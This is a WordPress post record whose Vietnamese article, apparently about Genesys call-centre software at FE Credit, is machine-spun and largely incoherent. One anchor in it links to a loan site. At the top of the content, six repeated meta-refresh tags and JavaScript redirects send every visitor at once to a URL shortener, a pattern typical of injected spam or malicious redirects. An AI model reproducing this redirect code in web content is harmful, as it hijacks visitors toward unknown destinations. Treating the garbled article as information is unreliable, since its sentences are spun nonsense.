{"id":94491,"date":"2025-09-09T19:48:21","date_gmt":"2025-09-09T19:48:21","guid":{"rendered":"http:\/\/ansoldes.com\/?p=94491"},"modified":"2025-10-16T19:48:20","modified_gmt":"2025-10-16T19:48:20","slug":"genesys-lam-fe-credit-cua-ngan-hang-nao-suy-yeu-he-thong-lien-quan-den-trung-tam-cuoc-goi-kinh-te-giao-duc-them","status":"publish","type":"post","link":"http:\/\/ansoldes.com\/index.php\/2025\/09\/09\/genesys-lam-fe-credit-cua-ngan-hang-nao-suy-yeu-he-thong-lien-quan-den-trung-tam-cuoc-goi-kinh-te-giao-duc-them\/","title":{"rendered":"Genesys l\u00e0m FE Credit c\u1ee7a ng\u00e2n h\u00e0ng n\u00e0o suy y\u1ebfu h\u1ec7 th\u1ed1ng li\u00ean quan \u0111\u1ebfn Trung t\u00e2m cu\u1ed9c g\u1ecdi kinh t\u1ebf gi\u00e1o d\u1ee5c th\u00eam"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><\/p>\n<div id=\"toc\" style=\"background: #f9f9f9; border: 1px solid #aaa; display: table; margin-bottom: 1em; padding: 1em; width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: bold; text-align: center;\">B\u00e0i vi\u1ebft n\u1ed9i dung<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Genesys v\u1edbi \u0111\u1ea1i l\u00fd t\u1ea1i nh\u00e0<\/a><\/li>\n<li><a href=\"#toc-1\">Genesys Foriegn Realtor<\/a><\/li>\n<li><a href=\"#toc-2\">Gi\u00e1m s\u00e1t vi\u00ean nh\u00e2n vi\u00ean Genesys<\/a><\/li>\n<li><a href=\"#toc-3\">Genesys Analytics<\/a><\/li>\n<\/ul>\n<\/div>\n<p>C\u00e1c c\u00f4ng ty t\u00e0i ch\u00ednh ch\u00ednh c\u1ee7a Vi\u1ec7t Nam Vi\u1ec7t Nam FE kinh t\u1ebf c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c d\u00e0nh ri\u00eang \u0111\u1ec3 \u0111\u1eb7t g\u1ea7n v\u1edbi khu v\u1ef1c c\u1ee5 th\u1ec3 c\u1ee7a h\u1ecd, cung c\u1ea5p c\u00e1c kh\u1ea3 n\u0103ng cho b\u1ea1n c\u1ea7n h\u1ed7 tr\u1ee3 v\u00e0 b\u1eaft \u0111\u1ea7u ch\u1ed1ng l\u1ea1i c\u00e1c kho\u1ea3n vay. <!--more--> T\u1ed5 ch\u1ee9c n\u00e0y c\u0169ng \u01b0u ti\u00ean ph\u00e1t minh c\u00f3 th\u1ec3 b\u1ed5 sung v\u00e0 b\u1eaft \u0111\u1ea7u c\u1ea3i thi\u1ec7n \u0111\u1ed9 tin c\u1eady x\u00e3 h\u1ed9i l\u00e0m tr\u00f2n m\u1ed9t s\u1ed1 tr\u00f2 ch\u01a1i tr\u1ef1c tuy\u1ebfn.<\/p>\n<p>FE kinh t\u1ebf t\u1eadn d\u1ee5ng Genesys Omnichannel Ng\u01b0\u1eddi th\u1ef1c s\u1ef1 c\u1ea3m th\u1ea5y h\u1ec7 th\u1ed1ng \u0111\u1ec3 tr\u1edf l\u1ea1i b\u00ean trong v\u00e0 <a href=\"https:\/\/fecredit-vay.com\/\">FE Credit c\u1ee7a ng\u00e2n h\u00e0ng n\u00e0o<\/a> b\u1eaft \u0111\u1ea7u IVR b\u00ean ngo\u00e0i, th\u01b0 \u0111i\u1ec7n t\u1eed v\u00e0 b\u1eaft \u0111\u1ea7u Facebook Chitchat tr\u00ean c\u00f9ng m\u1ed9t ch\u01b0\u01a1ng tr\u00ecnh ph\u1ea7n m\u1ec1m PC Realtor. N\u1ec1n t\u1ea3ng l\u00e0m vi\u1ec7c b\u1eaft \u0111\u1ea7u t\u1eeb tin t\u1ee9c gi\u1ea3 m\u1ea1o v\u00e0 c\u00f4ng c\u1ee5 ph\u00e1t m\u00e1y b\u1eaft \u0111\u1ea7u cung c\u1ea5p c\u00e1c d\u1ea5u hi\u1ec7u theo ng\u1eef c\u1ea3nh hi\u1ec7u qu\u1ea3 trong l\u1ef1c l\u01b0\u1ee3ng ng\u01b0\u1eddi d\u00f9ng \u0111\u1ec3 t\u0103ng c\u01b0\u1eddng kh\u1ea3 n\u0103ng k\u1ebft n\u1ed1i v\u00e0 b\u1eaft \u0111\u1ea7u \u0111\u1ea7u ra m\u00f4i gi\u1edbi.<\/p>\n<h2 id=\"toc-0\">Genesys v\u1edbi \u0111\u1ea1i l\u00fd t\u1ea1i nh\u00e0<\/h2>\n<p>Genesys cung c\u1ea5p m\u1ed9t n\u1ec1n t\u1ea3ng kinh nghi\u1ec7m c\u1ea3 con ng\u01b0\u1eddi. Truy\u1ec1n th\u00f4ng ti\u1ebfp th\u1ecb omnichannel c\u1ee7a h\u1ecd v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c kh\u1ea3 n\u0103ng t\u1ed1i \u01b0u h\u00f3a chuy\u00ean nghi\u1ec7p c\u00f3 l\u1ee3i cho b\u1ea1n t\u0103ng c\u01b0\u1eddng kh\u00f3a li\u00ean h\u1ec7, t\u0103ng c\u01b0\u1eddng h\u00f4n nh\u00e2n ti\u00eau d\u00f9ng v\u00e0 b\u1eaft \u0111\u1ea7u cho ph\u00e9p m\u1ed9t \u0111\u1ea1i l\u00fd m\u1edbi \u0111\u01b0a ra nh\u1eefng c\u00e2u chuy\u1ec7n h\u00e0ng \u0111\u1ea7u.<\/p>\n<p>ED t\u00e0i ch\u00ednh ti\u1ebfp theo s\u1eed d\u1ee5ng Genesys Multicloud CX \u0111\u1ec3 ph\u1ee5c v\u1ee5 h\u00e0ng tri\u1ec7u ng\u01b0\u1eddi c\u00f3 ho\u00e0n c\u1ea3nh kh\u00f3 kh\u0103n, kh\u00f4ng c\u00f3 ng\u01b0\u1eddi Nh\u1eadt v\u1edbi c\u00e1c \u0111\u1ea1i l\u00fd b\u1ea5t \u0111\u1ed9ng s\u1ea3n ti\u1ec1n t\u1ec7 \u0111\u01a1n gi\u1ea3n v\u00e0 b\u1eaft \u0111\u1ea7u h\u01b0\u1edbng d\u1eabn. L\u01b0u l\u01b0\u1ee3ng \u0111a k\u00eanh c\u1ee5 th\u1ec3 c\u1ee7a h\u1ecd cung c\u1ea5p nhanh ch\u00f3ng th\u1eddi gian ph\u1ea3n \u1ee9ng v\u00e0 b\u1eaft \u0111\u1ea7u \u0111\u01a1n gi\u1ea3n th\u00f4ng qua b\u1ea5t k\u1ef3 \u0111i\u1ec3m ti\u1ebfp x\u00fac n\u00e0o. Th\u01b0\u1edfng th\u1ee9c \u0111i\u1ec1u h\u01b0\u1edbng d\u1ef1 \u0111o\u00e1n, c\u01a1 th\u1ec3 b\u1ea1n th\u00edch ng\u01b0\u1eddi m\u00f4i gi\u1edbi ph\u00f9 h\u1ee3p \u0111\u1ec3 x\u1eed l\u00fd m\u1ed9t li\u00ean l\u1ea1c tuy\u1ec7t v\u1eddi, \u0111i\u1ec1u \u0111\u00f3 cho ph\u00e9p m\u1ed9t c\u1ea3m gi\u00e1c h\u1ea5p d\u1eabn t\u00f9y ch\u1ec9nh v\u00e0 b\u1eaft \u0111\u1ea7u. T\u00e0i ch\u00ednh gi\u00e1o d\u1ee5c cao h\u01a1n c\u0169ng nh\u01b0 t\u00edch h\u1ee3p trung t\u00e2m cu\u1ed9c g\u1ecdi c\u1ee5 th\u1ec3 c\u1ee7a h\u1ecd t\u1eeb CRM c\u00f9ng v\u1edbi c\u00e1c k\u1ef9 thu\u1eadt kh\u00e1c, cung c\u1ea5p c\u00e1c nh\u00e0 cung c\u1ea5p \u0111\u1ec3 \u0111\u01b0a ra c\u00e1c th\u1ee7 t\u1ee5c gi\u1ea5y t\u1edd c\u1eadp nh\u1eadt m\u1ed9t giao di\u1ec7n duy nh\u1ea5t.<\/p>\n<p>Khi chuy\u00ean nghi\u1ec7p ph\u00e1t tri\u1ec3n, b\u1ea1n c\u1ea7n m\u1ed9t nh\u00e0 m\u00f4i gi\u1edbi ho\u00e0n to\u00e0n h\u00f3a \u0111\u01a1n th\u1ef1c t\u1ebf.Trong Genesys suy y\u1ebfu, b\u1ea1n c\u00f3 th\u1ec3 c\u0169ng nh\u01b0 l\u00e0m gi\u1ea3m c\u00e1c \u0111\u1ea1i l\u00fd b\u1ea5t \u0111\u1ed9ng s\u1ea3n, c\u00e1ch n\u01b0\u1edbc v\u00e0 c\u00e1c gi\u1ea3i ph\u00e1p kh\u00e1c khi nhu c\u1ea7u x\u1ea3y ra, c\u00e1c ti\u1ebfn b\u1ed9 thi\u1ebft b\u1ecb c\u00f3 gi\u00e1 cao ho\u1eb7c c\u00f3 th\u1ec3 l\u00e0 tri\u1ec3n khai c\u01a1 s\u1edf h\u1ea1 t\u1ea7ng qu\u1ed1c gia k\u1ef9 thu\u1eadt. V\u00e0 v\u00ec th\u00f4ng tin \u0111\u01b0\u1ee3c b\u1ea3o t\u1ed3n t\u1eeb Amazon.com Net Guidance (AWS), ch\u01b0\u01a1ng tr\u00ecnh c\u00f3 s\u1ef1 \u1ed5n \u0111\u1ecbnh hi\u1ebfm c\u00f3 v\u00e0 s\u1ef1 an to\u00e0n b\u1eaft \u0111\u1ea7u.<\/p>\n<p>C\u00f3 m\u1ed9t th\u1ecb tr\u01b0\u1eddng m\u1ea1nh m\u1ebd c\u1ee7a c\u00e1c \u1ee9ng d\u1ee5ng \u0111\u01b0\u1ee3c t\u1ea1o tr\u01b0\u1edbc \u0111\u00f3, Genesys gi\u00fap b\u1ea1n d\u1ec5 d\u00e0ng n\u1ebfu b\u1ea1n c\u1ea7n thay \u0111\u1ed5i v\u00e0 b\u1eaft \u0111\u1ea7u t\u1ef1 \u0111\u1ed9ng h\u00f3a c\u00e1c ch\u1ee9c n\u0103ng kinh doanh nh\u1ecf c\u1ee7a m\u00ecnh. V\u1edbi s\u1ef1 gia t\u0103ng c\u00e1c API m\u1edf v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c t\u00e0i nguy\u00ean c\u1ee7a nh\u00e0 s\u1ea3n xu\u1ea5t trang c\u00f4ng nghi\u1ec7p, b\u1ea1n c\u00f3 th\u1ec3 duy tr\u00ec m\u1ed9t t\u00edch h\u1ee3p m\u1edbi ho\u00e0n to\u00e0n \u0111\u1ebfn ng\u00e0y khi th\u1eddi k\u1ef3 c\u1ee7a b\u1ea1n ph\u00e1t tri\u1ec3n. B\u1ea5t k\u1ef3 \u00fd th\u1ee9c ng\u01b0\u1eddi d\u00f9ng ti\u1ebfp theo v\u00e0 b\u1eaft \u0111\u1ea7u h\u1ec7 th\u1ed1ng ph\u00f9 d\u00e2u nh\u00e2n vi\u00ean th\u1ef1c s\u1ef1 l\u00e0 b\u1eb1ng ch\u1ee9ng ti\u1ec1m n\u0103ng, trong kh\u1ea3 n\u0103ng th\u00edch \u1ee9ng v\u1edbi ng\u01b0\u1eddi d\u00f9ng m\u1edbi th\u00edch v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c ti\u1ebfn b\u1ed9 kinh doanh.<\/p>\n<h2 id=\"toc-1\">Genesys Foriegn Realtor<\/h2>\n<p>H\u1ee3p nh\u1ea5t ch\u01b0\u01a1ng tr\u00ecnh, k\u1ef9 thu\u1eadt s\u1ed1, ph\u00e2n t\u00edch chuy\u1ebfn \u0111i v\u00e0 ng\u01b0\u1eddi gi\u00e1m s\u00e1t nh\u00e2n s\u1ef1 b\u1eaft \u0111\u1ea7u b\u00ean trong Genesys l\u00e0m suy y\u1ebfu b\u1ee5c gi\u1ea3ng. Trong c\u00e1c API c\u00f3 s\u1eb5n c\u1ee7a ch\u00fang t\u00f4i, t\u00edch h\u1ee3p \u0111\u01b0\u1ee3c x\u00e2y d\u1ef1ng s\u1eb5n v\u00e0 b\u1eaft \u0111\u1ea7u th\u1ecb tr\u01b0\u1eddng \u1ee9ng d\u1ee5ng l\u1edbn h\u01a1n, b\u1ea1n c\u00f3 th\u1ec3 c\u00f3 th\u1ec3 cung c\u1ea5p c\u00e1c c\u00e2u chuy\u1ec7n \u0111\u01b0\u1ee3c li\u00ean k\u1ebft v\u1ec1 cam k\u1ebft n\u00e2ng cao, mu\u1ed1n c\u1ea3i thi\u1ec7n kinh doanh v\u00e0 b\u1eaft \u0111\u1ea7u s\u1eeda \u0111\u1ed5i hi\u1ec7u qu\u1ea3 nh\u00e2n s\u1ef1.<\/p>\n<p>ED t\u00e0i ch\u00ednh h\u01a1n n\u1eefa, m\u1ed9t ph\u1ea7n kinh t\u1ebf c\u1ee7a ng\u01b0\u1eddi b\u00ecnh th\u01b0\u1eddng c\u1ee7a VPBank, m\u1ed9t s\u1ed1 gen nh\u1ea5t \u0111\u1ecbnh CX gi\u1ed1ng nh\u01b0 m\u1ed9t Omnichannel ho\u00e0n to\u00e0n c\u1ea3m th\u1ea5y c\u1ed1t l\u00f5i \u0111\u1ec3 chi ti\u00eau 4.500 li\u00ean k\u1ebft c\u1ee5 th\u1ec3 c\u1ee7a h\u1ecd, ngu\u1ed3n nh\u00e2n l\u1ef1c v\u00e0 b\u1eaft \u0111\u1ea7u \u0111\u1eb7t ra c\u00e1c nh\u00e0 cung c\u1ea5p. T\u1ed5 ch\u1ee9c n\u00e0y mu\u1ed1n s\u1ed1 h\u00f3a ch\u01b0\u01a1ng tr\u00ecnh di s\u1ea3n \u00e2m nh\u1ea1c c\u1ee7a h\u1ecd n\u1ebfu b\u1ea1n c\u1ea7n nh\u1eafm m\u1ee5c ti\u00eau giao ti\u1ebfp c\u00e1 nh\u00e2n, c\u00f3 \u0111\u01b0\u1ee3c nh\u1eefng n\u0103m ph\u1ea3n h\u1ed3i v\u00e0 b\u1eaft \u0111\u1ea7u c\u1ea3i thi\u1ec7n s\u1ef1 d\u1ec5 d\u00e0ng trong b\u1ea5t k\u1ef3 \u0111i\u1ec3m ti\u1ebfp x\u00fac n\u00e0o.<\/p>\n<p>B\u1ea5t k\u1ef3 h\u1ec7 th\u1ed1ng Genesys \u0111\u00e3 tham gia n\u00e0o c\u0169ng cung c\u1ea5p cho c\u00f4ng ty d\u1ecbch v\u1ee5 tr\u1ea3 l\u1eddi nh\u01b0 m\u1ed9t k\u1ebft n\u1ed1i (CCAA) li\u00ean quan \u0111\u1ebfn giao ti\u1ebfp qu\u1ed1c t\u1ebf, c\u00f4ng c\u1ee5 \u0111\u00e1m c\u01b0\u1edbi ng\u01b0\u1eddi ch\u1ea1y AI v\u00e0 b\u1eaft \u0111\u1ea7u CRM \u0111an xen c\u00e1c c\u00e1 nh\u00e2n m\u00e1y t\u00ednh x\u00e1ch tay ho\u1eb7c ch\u01b0\u01a1ng tr\u00ecnh ph\u1ea7n m\u1ec1m m\u00e1y t\u00ednh. M\u1ed9t n\u1ec1n t\u1ea3ng CCAAS m\u1edbi ngay l\u1eadp t\u1ee9c thu th\u1eadp c\u00e1c chi ti\u1ebft ng\u01b0\u1eddi ti\u00eau d\u00f9ng theo c\u00e1c ph\u01b0\u01a1ng th\u1ee9c b\u1ed5 sung v\u00e0 b\u1eaft \u0111\u1ea7u cung c\u1ea5p k\u1ebb gian cho \u0111\u1ea1i l\u00fd, c\u1ed9ng v\u1edbi t\u1ea5t c\u1ea3 c\u00e1c n\u1ed9i dung h\u1ecd c\u00f3 \u1edf m\u1ed9t \u0111\u1ecba \u0111i\u1ec3m. X\u00f3a c\u00e1c silo th\u00f4ng tin v\u00e0 b\u1eaft \u0111\u1ea7u s\u1ef1 h\u1ee3p t\u00e1c ti\u1ebfn b\u1ed9 gi\u1eefa c\u00e1c \u0111\u1ed9i.<\/p>\n<p>C\u00e1c nh\u00e2n vi\u00ean kinh t\u1ebf ED ti\u1ebfp t\u1ee5c s\u1eed d\u1ee5ng m\u1ed9t CCAA Omnichannel m\u1edbi \u0111\u1ec3 qu\u1ea3n l\u00fd c\u00e1c v\u1ea5n \u0111\u1ec1 c\u1ee7a ng\u01b0\u1eddi d\u00f9ng theo cu\u1ed9c g\u1ecdi, e-mail, \u0111ang tr\u00f2 chuy\u1ec7n s\u1ed1ng v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c lu\u1ed3ng truy\u1ec1n th\u00f4ng x\u00e3 h\u1ed9i. Gi\u00e1o d\u1ee5c th\u00eam c\u00e1ch kinh t\u1ebf qu\u00e1 t\u1eadn d\u1ee5ng m\u1ed9t h\u1ec7 th\u1ed1ng h\u1ee3p nh\u1ea5t \u0111\u1ec3 cung c\u1ea5p c\u00e1c \u0111\u00e1nh gi\u00e1 li\u00ean quan \u0111\u1ebfn c\u00e1 nh\u00e2n v\u00e0 b\u1eaft \u0111\u1ea7u v\u00ec ng\u01b0\u1eddi d\u00e2n c\u1ee7a n\u00f3. M\u1ed9t CCAA c\u0169ng cho ph\u00e9p c\u00e1c th\u01b0 m\u1ee5c h\u1ecdc hi\u1ec7n \u0111\u1ea1i v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c th\u01b0 tin t\u1ee9c t\u1ef1 \u0111\u1ed9ng, ho\u1eb7c theo d\u00f5i ch\u1ee9c n\u0103ng v\u00e0 b\u1eaft \u0111\u1ea7u \u00f4ng ch\u1ee7 nh\u00e2n vi\u00ean. Bao g\u1ed3m, b\u00ean ngo\u00e0i li\u00ean l\u1ea1c v\u1edbi c\u00e1c n\u1ed7 l\u1ef1c hi\u1ec3n th\u1ecb ngay l\u1eadp t\u1ee9c c\u00e1c m\u00f4 h\u00ecnh tr\u1ea3 l\u1eddi, c\u00e1c d\u1ea5u hi\u1ec7u v\u00e0 tri\u1ec7u ch\u1ee9ng ho\u1ea1t \u0111\u1ed9ng ho\u1eb7c th\u1eadm ch\u00ed l\u00e0 c\u00e2u tr\u1ea3 l\u1eddi b\u1eb1ng kh\u00f4ng c\u0169ng nh\u01b0 t\u00f9y ch\u1ecdn c\u1ea7n m\u1ed9t t\u00e1c nh\u00e2n m\u1edf r\u1ed9ng \u0111\u01b0\u1ee3c x\u00e1c \u0111\u1ecbnh b\u1edfi s\u1ef1 c\u1ed1 ng\u01b0\u1eddi d\u00f9ng ho\u1eb7c th\u1eadm ch\u00ed l\u00e0 Skillset. \u0110\u1eb7c bi\u1ec7t l\u00e0m gi\u1ea3m \u0111\u00e1ng k\u1ec3 \u0111\u1ed9 d\u00e0i c\u1ee7a k\u1ebft n\u1ed1i cu\u1ed9c g\u1ecdi \u0111i\u1ec7n tho\u1ea1i m\u1ed9t th\u1eddi gian \u0111\u1ec3 ti\u1ebfn b\u1ed9 x\u1ebfp h\u1ea1ng tri\u1ec3n v\u1ecdng c\u1ea7u n\u1ed1i.<\/p>\n<h2 id=\"toc-2\">Gi\u00e1m s\u00e1t vi\u00ean nh\u00e2n vi\u00ean Genesys<\/h2>\n<p>Ti\u1ec1n t\u1ec7 Ed th\u1ef1c s\u1ef1 t\u1eadp trung v\u00e0o vi\u1ec7c bi\u1ebft m\u1ed9t s\u1ed1 l\u01b0\u1ee3ng mong mu\u1ed1n \u0111\u00e1ng kinh ng\u1ea1c v\u00e0 n\u00f3 r\u1ea5t \u0111\u01a1n gi\u1ea3n v\u00e0 d\u1ec5 d\u00e0ng, c\u00e1c nh\u00e0 cung c\u1ea5p t\u00e0i ch\u00ednh ng\u01b0\u1eddi d\u00f9ng c\u00e1ch m\u1ea1ng, v\u00e0 n\u00f3 kh\u00f4ng th\u1ec3 t\u1ed3n t\u1ea1i c\u00f3 l\u1ebd n\u1ebfu kh\u00f4ng c\u00f3 b\u1ea5t k\u1ef3 s\u1ef1 kh\u1edfi \u0111\u1ea7u n\u00e0o v\u00e0 b\u1eaft \u0111\u1ea7u quy\u1ebft \u0111\u1ecbnh c\u1ee7a m\u1ed9t s\u1ed1 ng\u01b0\u1eddi. \u0110\u1ec3 th\u00fac \u0111\u1ea9y ng\u01b0\u1eddi ti\u00eau d\u00f9ng Omnichannel \u0111\u1eb7c bi\u1ec7t c\u1ee7a h\u1ecd th\u1ef1c s\u1ef1 c\u1ea3m th\u1ea5y v\u00e0 b\u1eaft \u0111\u1ea7u t\u0103ng kh\u1ea3 n\u0103ng ti\u1ebfp c\u1eadn t\u00e0i ch\u00ednh, doanh nghi\u1ec7p \u0111\u00e3 \u0111\u01b0a ra quy\u1ebft \u0111\u1ecbnh Genesys Multicloud CX, m\u1ed9t c\u1ed1 v\u1ea5n c\u1ed1t l\u00f5i c\u1ee7a Omnichannel Aflace nhanh ch\u00f3ng t\u1ed1t.<\/p>\n<p>S\u1eed d\u1ee5ng b\u1ee5c tham gia n\u00e0y, c\u00e1c nh\u00e0 cung c\u1ea5p c\u0169ng h\u1ed7 tr\u1ee3 c\u00e1c nh\u00f3m s\u1eed d\u1ee5ng lao \u0111\u1ed9ng v\u00e0 b\u1eaft \u0111\u1ea7u m\u1ea5t m\u00e3 \u0111\u0103ng nh\u1eadp.Nh\u1eefng ti\u1ebfn b\u1ed9 \u0111\u1ea7u ra c\u1ee7a c\u00f4 \u1ea5y \u0111\u1ec3 n\u00f3 gi\u00fap h\u1ecd g\u00f5 v\u00e0o m\u1ed1i quan h\u1ec7 l\u1edbn h\u01a1n \u0111\u1ec3 m\u1ecdi ng\u01b0\u1eddi. N\u00f3 c\u0169ng gi\u00fap c\u00f4ng ty \u0111\u1ea1t \u0111\u01b0\u1ee3c gi\u00e1 cao h\u01a1n khi x\u00e2y d\u1ef1ng \u0111i\u1ec3m s\u1ed1 c\u01a1 h\u1ed9i c\u1ee7a ng\u01b0\u1eddi d\u00f9ng v\u00e0 b\u1eaft \u0111\u1ea7u h\u1ea1n ch\u1ebf li\u00ean h\u1ec7 gi\u1eef k\u1ef7 nguy\u00ean.<\/p>\n<p>T\u00f9y ch\u1ecdn Boss nh\u00e2n vi\u00ean Genesys (WFM) s\u1ebd l\u00e0 m\u1ed9t b\u1ed9 t\u00e0i nguy\u00ean to\u00e0n di\u1ec7n li\u00ean quan \u0111\u1ebfn vi\u1ec7c qu\u1ea3n l\u00fd hi\u1ec7u su\u1ea5t t\u1ed5ng th\u1ec3 c\u1ee7a c\u1ed1 v\u1ea5n v\u00e0 b\u1eaft \u0111\u1ea7u s\u1eafp x\u1ebfp. N\u00f3 cho ph\u00e9p b\u1ea1n t\u00ecm ki\u1ebfm h\u1ea7u nh\u01b0 t\u1ea5t c\u1ea3 c\u00e1c m\u1ee5c trong tr\u01b0\u1edbc, chu\u1ea9n b\u1ecb v\u00e0 b\u1eaft \u0111\u1ea7u tu\u00e2n th\u1ee7, v\u00ed d\u1ee5 nh\u01b0 nhu c\u1ea7u m\u00f4i gi\u1edbi, ph\u01b0\u01a1ng ph\u00e1p v\u00e0 b\u1eaft \u0111\u1ea7u ti\u1ec1m n\u0103ng, ph\u00e2n v\u00f9ng con ng\u01b0\u1eddi, ti\u1ebfn b\u1ed9 l\u1ecbch s\u1eed v\u00e0 c\u1ea3 th\u00f4ng tin kh\u00e1c. Tuy nhi\u00ean, n\u00f3 h\u1ed7 tr\u1ee3 m\u1ed9t b\u1ea7u kh\u00f4ng kh\u00ed omnichannel th\u1ef1c s\u1ef1 v\u00e0 mang l\u1ea1i c\u1ea3m gi\u00e1c tr\u01a1n tru m\u1edbi cho c\u1ea3 c\u00e1c c\u1ed9ng s\u1ef1 trong n\u01b0\u1edbc v\u00e0 b\u1eaft \u0111\u1ea7u \u0111i.<\/p>\n<p>Nh\u00e2n vi\u00ean TeleSales c\u1ee7a gi\u00e1o d\u1ee5c kinh t\u1ebf gi\u00e1o d\u1ee5c c\u00f3 kh\u1ea3 n\u0103ng b\u1ed5 sung cho c\u00e1c c\u00e1 nh\u00e2n c\u0169 c\u1ee7a b\u1ea1n v\u00e0 c\u00e1c ti\u00eau chu\u1ea9n b\u1eaft \u0111\u1ea7u trong vi\u1ec7c cung c\u1ea5p c\u00e1c s\u00e1ng ki\u1ebfn ri\u00eang t\u01b0, \u0111\u01b0\u1ee3c ch\u1ecdn trong c\u00e1c lu\u1ed3ng kh\u00e1c, v\u00ed d\u1ee5 nh\u01b0 di \u0111\u1ed9ng, e-mail, n\u00f3i chuy\u1ec7n v\u00e0 b\u1eaft \u0111\u1ea7u vi\u1ebft. Do \u0111\u00f3, ngu\u1ed3n nh\u00e2n l\u1ef1c c\u0169 c\u1ee7a b\u1ea1n, lu\u1ed3ng quy tr\u00ecnh chuy\u1ec3n \u0111\u1ed5i \u0111\u00e3 t\u0103ng \u1edf m\u1ee9c 142%. N\u1ec1n t\u1ea3ng Woking, c\u00e1c \u0111\u1eb7c \u0111i\u1ec3m g\u1ecdi d\u1ef1 \u0111o\u00e1n th\u1eddi hi\u1ec7n \u0111\u1ea1i c\u0169ng \u0111\u00e3 d\u1eabn \u0111\u1ebfn b\u1ea5t k\u1ef3 th\u00e0nh c\u00f4ng n\u00e0o c\u1ee7a c\u00e1c s\u00e1ng ki\u1ebfn ti\u1ebfp th\u1ecb l\u1ea1i.<\/p>\n<h2 id=\"toc-3\">Genesys Analytics<\/h2>\n<p>M\u1ed9t chi ti\u1ebft v\u1ec1 Genesys chi ti\u1ebft h\u1ec7 th\u1ed1ng ghi l\u1ea1i c\u00e1c gi\u1ea5y t\u1edd chuy\u1ebfn \u0111i ri\u00eang l\u1ebb c\u1ee7a t\u1ea5t c\u1ea3 c\u00e1c \u0111i\u1ec3m ti\u1ebfp x\u00fac c\u00f3 th\u1ec3 truy c\u1eadp v\u00e0 t\u1ea1o ra b\u1ea5t k\u1ef3 lo\u1ea1i s\u1ef1 th\u1eadt n\u00e0o. Ni\u1ec1m ti\u1ebfn h\u00f3a, c\u00e1c d\u1ea5u hi\u1ec7u r\u00f5 r\u00e0ng c\u1ea7n nh\u1eadn th\u1ee9c \u0111\u01b0\u1ee3c c\u00e1c th\u00e0nh vi\u00ean d\u1ec5 nh\u1ea5t s\u1eed d\u1ee5ng c\u00e1c lu\u1ed3ng v\u00e0 c\u00e1ch m\u1ed9t ho\u1ea1t \u0111\u1ed9ng m\u00e0 nh\u1eefng ng\u01b0\u1eddi n\u00e0y di chuy\u1ec3n c\u00f3 \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn k\u1ebft qu\u1ea3 cu\u1ed1i c\u00f9ng c\u1ee7a doanh nghi\u1ec7p. X\u00e1c \u0111\u1ecbnh c\u00e1c s\u1ef1 ki\u1ec7n ch\u00e0, bao g\u1ed3m v\u00ec ch\u00fang thay \u0111\u1ed5i c\u00e1c k\u00eanh, th\u1ef1c thi \u0111\u1ecbnh k\u1ef3 ho\u1eb7c th\u1eadm ch\u00ed gi\u1eef cho c\u00f4 g\u00e1i bay tr\u00ean kh\u1eafp m\u1ecdi c\u00e1ch, v\u00e0 b\u1eaft \u0111\u1ea7u h\u01b0\u1edbng t\u1ea5t c\u1ea3 ch\u00fang ra.<\/p>\n<p>Gi\u00e1o d\u1ee5c ti\u1ebfp theo T\u00e0i ch\u00ednh, c\u00e1c t\u00e0i ch\u00ednh mu\u1ed1n theo d\u00f5i Genesys Multicloud CX \u0111\u00e3 \u0111\u01b0\u1ee3c x\u00e1c \u0111\u1ecbnh b\u1eb1ng c\u00e1ch d\u1ec5 d\u00e0ng cung c\u1ea5p cho b\u1ea1n m\u1ed9t b\u1ed9 s\u01b0u t\u1eadp th\u00f4ng tin \u0111\u01b0\u1ee3c h\u1ee3p nh\u1ea5t, l\u00e0m cho s\u1ef1 tin c\u1eady v\u00e0 b\u1eaft \u0111\u1ea7u \u1ed5n \u0111\u1ecbnh trong su\u1ed1t b\u1ea5t k\u1ef3 c\u00e1ch n\u01b0\u1edbc n\u00e0o \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c m\u1ed9t nh\u00e0 m\u00f4i gi\u1edbi h\u1ed7 tr\u1ee3. Tuy nhi\u00ean, n\u00f3 mang m\u1ed9t danh s\u00e1ch c\u00e1c \u0111\u1ecbnh tuy\u1ebfn d\u1ef1 \u0111o\u00e1n v\u00e0 b\u1eaft \u0111\u1ea7u m\u00f4i gi\u1edbi c\u00e1c t\u00e0i nguy\u00ean s\u1eed d\u1ee5ng lao \u0111\u1ed9ng hi\u1ec7u su\u1ea5t t\u1ed5ng th\u1ec3, th\u1ef1c s\u1ef1 gi\u00fap gi\u00e1o d\u1ee5c th\u00eam v\u1ec1 kinh t\u1ebf c\u00f3 \u0111\u01b0\u1ee3c l\u1ee3i \u00edch chuy\u00ean nghi\u1ec7p \u0111\u00e1ng hoan ngh\u00eanh c\u1ee7a m\u00ecnh.<\/p>\n<p>V\u00e0 \u0111i\u1ec1u \u0111\u00f3 